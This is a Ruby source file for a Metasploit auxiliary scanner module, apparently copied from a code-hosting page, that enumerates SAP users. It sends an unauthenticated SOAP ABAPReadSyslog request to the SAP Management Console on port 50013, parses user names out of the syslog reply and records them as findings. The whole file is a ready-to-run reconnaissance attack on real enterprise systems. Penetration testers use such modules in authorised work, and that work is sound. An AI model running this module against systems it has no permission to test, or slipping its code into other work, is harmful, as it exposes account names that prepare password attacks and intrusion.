138 lines
4.0 KiB
Ruby
138 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'SAP Management Console Extract Users',
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'Description' => %q{
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This module simply attempts to extract SAP users from the ABAP
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Syslog through the SAP Management Console SOAP Interface.
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},
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'References' =>
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[
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# General
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[ 'URL', 'http://blog.c22.cc' ]
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],
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'Author' => [ 'Chris John Riley' ],
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(50013),
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OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
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], self.class)
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register_autofilter_ports([ 50013 ])
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deregister_options('RHOST')
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end
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def run_host(ip)
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI']),
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'method' => 'GET'
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}, 25)
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if not res
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print_error("#{rhost}:#{rport} [SAP] Unable to connect")
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return
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end
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extractusers(ip)
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end
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def extractusers(rhost)
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print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface")
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success = false
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soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
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xsi = 'http://www.w3.org/2001/XMLSchema-instance'
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xs = 'http://www.w3.org/2001/XMLSchema'
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sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
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ns1 = 'ns1:ABAPReadSyslog'
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data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
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data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
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data << '<SOAP-ENV:Header>' + "\r\n"
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data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
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data << '<enableSession>true</enableSession>' + "\r\n"
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data << '</sapsess:Session>' + "\r\n"
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data << '</SOAP-ENV:Header>' + "\r\n"
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data << '<SOAP-ENV:Body>' + "\r\n"
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data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
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data << '</SOAP-ENV:Body>' + "\r\n"
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data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
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begin
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res = send_request_raw({
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'uri' => normalize_uri(datastore['URI']),
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'method' => 'POST',
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'data' => data,
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'headers' =>
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{
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'Content-Length' => data.length,
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'SOAPAction' => '""',
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'Content-Type' => 'text/xml; charset=UTF-8',
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}
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}, 60)
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env = []
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if res and res.code == 200
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case res.body
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when nil
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# Nothing
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when/<User>([^<]+)<\/User>/i
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body = []
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body = res.body unless res.body.nil?
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users = body.scan(/<User>([^<]+)<\/User>/i)
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users = users.uniq
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success = true
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end
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elsif res and res.code == 500
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case res.body
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when /<faultstring>(.*)<\/faultstring>/i
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faultcode = "#{$1}"
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fault = true
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end
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end
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rescue ::Rex::ConnectionError
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print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication on #{rhost}:#{rport}")
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return
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end
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if success
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print_good("#{rhost}:#{rport} [SAP] Users Extracted: #{users.length} entries extracted from #{rhost}:#{rport}")
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report_note(
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:host => rhost,
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:proto => 'tcp',
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:port => rport,
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:type => 'sap.users',
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:data => {:proto => "soap", :users => users},
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:update => :unique_data
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)
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users.each do |output|
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print_good("#{rhost}:#{rport} [SAP] Extracted User: #{output[0]}")
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end
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return
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elsif fault
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print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
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return
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else
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print_error("#{rhost}#{rport} [SAP] failed to access ABAPSyslog on #{rhost}:#{rport}")
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return
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end
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end
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end
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